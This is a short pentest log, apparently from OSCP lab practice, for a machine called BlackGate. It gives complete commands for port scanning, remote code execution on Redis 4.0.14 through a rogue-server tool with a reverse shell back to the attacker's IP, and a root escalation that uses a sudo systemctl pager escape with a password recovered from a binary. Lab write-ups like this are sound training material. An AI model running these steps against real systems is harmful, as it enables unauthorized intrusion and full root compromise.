BlackGate
๐งช Pentest Log: {{date:2025-08-12}}
๐ Target Information
- Machine Name: BlackGate
- IP Address: 192.168.199.176
- Operating System: Linux
ip=192.168.199.176
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 6379
Redis key-value store 4.0.14
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
Google "Redis key-value store 4.0.14 exploit", found
https://github.com/n0b0dyCN/redis-rogue-server
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 6379
- Vulnerability Type: RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost $ip --lhost 192.168.45.163
python3 /home/kali/Documents/oscp/penelope/penelope.py -p 6379
ClimbingParrotKickingDonkey321
๐งฌ Privilege Escalation
๐ค Current Access
- User: prudence
- Groups: prudence
- Shell Type: reverse shell
๐ Enumeration
Sudo:
sudo -l
found
User prudence may run the following commands on blackgate:
(root) NOPASSWD: /usr/local/bin/redis-status
strings /usr/local/bin/redis-status
found
Authorization Key:
ClimbingParrotKickingDonkey321
/usr/bin/systemctl status redis
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: Sudo Abuse
- Target Binary/Service: Systemctl
- Reference / Source: GTFOBins
๐ง Exploit Steps
- Smash to root
sudo /usr/bin/systemctl status redis
ClimbingParrotKickingDonkey321
!sh